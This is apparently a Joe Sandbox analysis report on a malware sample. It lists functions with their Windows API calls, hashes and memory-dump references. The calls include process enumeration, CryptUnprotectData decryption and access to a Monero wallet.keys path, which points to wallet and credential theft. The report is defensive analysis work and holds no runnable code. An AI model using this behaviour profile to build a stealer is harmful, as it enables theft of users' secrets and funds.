Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 15c48aabacaa3dc45209e803c7f363bb31b5b341fb9ea662b5568789dc51b06d
Instruction ID: 8025aa2242414fcefba0cf9ec2cb2785e2892a685f99b65662527eed27d90a99
Opcode Fuzzy Hash: 15c48aabacaa3dc45209e803c7f363bb31b5b341fb9ea662b5568789dc51b06d
Instruction Fuzzy Hash: 4D011EB5A40208BBEB10DFD4CD4AF9E77B8EB44B05F104555FB05AB2C0D7B0AA008B69

Function 00A59600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00A5961E
Process32First.KERNEL32(00A60ACA,00000128), ref: 00A59632
Process32Next.KERNEL32(00A60ACA,00000128), ref: 00A59647
StrCmpCA.SHLWAPI(?,00000000), ref: 00A5965C
CloseHandle.KERNEL32(00A60ACA), ref: 00A5967A

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 0cc381556755dcc37f18d63c88ac3346551478563c23cd0bd171476f4867aab8
Instruction ID: b7771cd8fd1c5f4d30f0612877261f5fa34b8e1a34adebfa09631816cc9ece5e
Opcode Fuzzy Hash: 0cc381556755dcc37f18d63c88ac3346551478563c23cd0bd171476f4867aab8
Instruction Fuzzy Hash: C7011E75A00208EBDB14DFA5DD58BEEB7F9FB48301F104199A90697280DB34AB48DF55

Function 00DFF707 Relevance: 6.7, Strings: 4, Instructions: 1662COMMON

Download Yara Rule

Strings

<-zQ, xrefs: 00E00202
CG^3, xrefs: 00DFFF88
$5', xrefs: 00DFFF61
h" , xrefs: 00E00377

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: $5'$<-zQ$CG^3$h"
API String ID: 0-2769956882
Opcode ID: 35eb1c64345b726d0840d4eb52e0d2d1ecce096fec5dc3d908cd41643bd45b25
Instruction ID: e1e453170bcefee239d1d6aca1c6d90d52e3970cfbba0359c4e912ba380e20e9
Opcode Fuzzy Hash: 35eb1c64345b726d0840d4eb52e0d2d1ecce096fec5dc3d908cd41643bd45b25
Instruction Fuzzy Hash: 85B238F3A0C2049FE304AE2DEC8567AB7E9EF94720F16853DEAC4C7744E63598058697

Function 00E10254 Relevance: 6.6, Strings: 4, Instructions: 1613COMMON

Download Yara Rule

Strings

0o, xrefs: 00E10F49
M6re, xrefs: 00E103BD
CC|, xrefs: 00E10D59
G1>, xrefs: 00E115EE

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0o$CC|$G1>$M6re
API String ID: 0-1492517263
Opcode ID: 15da2aed524c8ec095c3876e2f2925b6f01f835fdf1876f9125aef9ff100a4c2
Instruction ID: 770e1e741a32d95ca3aa5342a3fc83df30d4123b6ce45553f667d7b53183104e
Opcode Fuzzy Hash: 15da2aed524c8ec095c3876e2f2925b6f01f835fdf1876f9125aef9ff100a4c2
Instruction Fuzzy Hash: 3AB215F360C2049FE304AE2DEC8567AFBE9EF94320F1A492DE6C4C7744E63598458697

Function 00E07CED Relevance: 6.6, Strings: 4, Instructions: 1608COMMON

Download Yara Rule

Strings

!Tn, xrefs: 00E085F1
LJo;, xrefs: 00E0887B
!Tn, xrefs: 00E08636
8x<, xrefs: 00E07E72

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !Tn$!Tn$8x<$LJo;
API String ID: 0-2759588429
Opcode ID: 9ad378754366187f9d7698e944912a89e46451f1877d9a33fb669ab8641e67e4
Instruction ID: 6e683796c21377695f290ea78adb7fabe6105347831a7091c2d311530d03228b
Opcode Fuzzy Hash: 9ad378754366187f9d7698e944912a89e46451f1877d9a33fb669ab8641e67e4
Instruction Fuzzy Hash: 53B20AF3A082109FE3046E2DEC8567AF7E9EF94720F1A493DE6C5D3740E63598058697

Function 00A58680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00A605B7), ref: 00A586CA
Process32First.KERNEL32(?,00000128), ref: 00A586DE
Process32Next.KERNEL32(?,00000128), ref: 00A586F3

Part of subcall function 00A5A9B0: lstrlen.KERNEL32(?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A5A9C5
Part of subcall function 00A5A9B0: lstrcpy.KERNEL32(00000000), ref: 00A5AA04
Part of subcall function 00A5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A5AA12

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

CloseHandle.KERNEL32(?), ref: 00A58761

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: ebd0389d0bb9e33a18ea394bb48ccceb5d47c05b61db9c982dd1f423291d2d09
Instruction ID: 19b13cd3265e325236eec8054bf79c996f8c5788ca10c386afc63137facb82e5
Opcode Fuzzy Hash: ebd0389d0bb9e33a18ea394bb48ccceb5d47c05b61db9c982dd1f423291d2d09
Instruction Fuzzy Hash: AF316B71A01218ABDB24DF50CD41FEEB778FF58701F104699F90AA21A0EF346A49CFA1

Function 00A58EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00A45184,40000001,00000000,00000000,?,00A45184), ref: 00A58EC0

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 5600173ed615b7435306d827c1d44c200e9cce7cee2ed0975e1d82e89f7bad83
Instruction ID: e447db52ffbcfa07693980dac339e2b1796adc07973d94e04f4a2a62a48fa1a4
Opcode Fuzzy Hash: 5600173ed615b7435306d827c1d44c200e9cce7cee2ed0975e1d82e89f7bad83
Instruction Fuzzy Hash: 25110670200208BFDB00CF64DC85FAA33B9BF89306F109448FD1A9B250DB39E849DB64

Function 00A49AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00A44EEE,00000000,00000000), ref: 00A49AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00A44EEE,00000000,?), ref: 00A49B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00A44EEE,00000000,00000000), ref: 00A49B2A
LocalFree.KERNEL32(?,?,?,?,00A44EEE,00000000,?), ref: 00A49B3F

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 7c4f16737ab1640f84a2b3d72bc60edaa143bd34ef7cfdde91d2355ad2cb6375
Instruction ID: aca866fe31ef5e7b5902e49287f9abddae5cc586f1a620dbaf6394e65bceec01
Opcode Fuzzy Hash: 7c4f16737ab1640f84a2b3d72bc60edaa143bd34ef7cfdde91d2355ad2cb6375
Instruction Fuzzy Hash: 8711A2B4240208AFEB10CF64DC95FAA77B5FB89700F208059FA159B3D0C7B6A901CBA4

Function 00A57980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00A60E00,00000000,?), ref: 00A579B0
RtlAllocateHeap.NTDLL(00000000), ref: 00A579B7
GetLocalTime.KERNEL32(?,?,?,?,?,00A60E00,00000000,?), ref: 00A579C4
wsprintfA.USER32 ref: 00A579F3

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 8dd04171a645edd78067f805af3518b8f5e0866e0d2b3a5699f94d8a8ce3a501
Instruction ID: 59cc04cb4f9f04526a0b8aedca64dfdc8e2f2e097908159f51075cea7a5f003c
Opcode Fuzzy Hash: 8dd04171a645edd78067f805af3518b8f5e0866e0d2b3a5699f94d8a8ce3a501
Instruction Fuzzy Hash: 13113CB2904118ABDB14DFC9DD45BBEB7F8FB4CB11F10411AF605A2280E3395940C7B5

Function 00A57A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0160E650,00000000,?,00A60E10,00000000,?,00000000,00000000), ref: 00A57A63
RtlAllocateHeap.NTDLL(00000000), ref: 00A57A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0160E650,00000000,?,00A60E10,00000000,?,00000000,00000000,?), ref: 00A57A7D
wsprintfA.USER32 ref: 00A57AB7

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 50023a4687410635e2e1584abe30d7f7495f23e4226f2b0a6d9a7ad70d03854e
Instruction ID: ccc7567bbb6f2d029eda7cd5c83f30e5112129d8976dbfe3fae9121273b360e2
Opcode Fuzzy Hash: 50023a4687410635e2e1584abe30d7f7495f23e4226f2b0a6d9a7ad70d03854e
Instruction Fuzzy Hash: 58118EB1945218EBEB208B54DC49FAEB778FB04761F10479AEA0AA32C0D7741A44CF51

Function 00DFC97F Relevance: 4.8, Strings: 3, Instructions: 1056COMMON

Download Yara Rule

Strings

yWz, xrefs: 00DFD264
9V=a, xrefs: 00DFD1E3
t}?, xrefs: 00DFCCC6

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 9V=a$t}?$yWz
API String ID: 0-76977012
Opcode ID: cd24d14522d8311e3a83427a951ca56fba4fb79b393b2d78eb1e6a8239b1e122
Instruction ID: 71af7ed1bb5dd5c466bbf16eb85c535fa6ad20e0073ffa67da62b69b61b931fb
Opcode Fuzzy Hash: cd24d14522d8311e3a83427a951ca56fba4fb79b393b2d78eb1e6a8239b1e122
Instruction Fuzzy Hash: 856208F360C2009FE304AE2DEC8567AB7E9EFD8720F2A893DE6C5C3744E53558058656

Function 00A53720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00A5E118,00000000,00000001,00A5E108,00000000), ref: 00A53758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00A537B0

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: e18ec171334c04c7827a5cf999a9c0d6c4cf4d87570e1f37554b1790f49fdef2
Instruction ID: bcc8444b510dae85deb159bc58e84df0a7daa0faa1d2c658ff197ed99052a40b
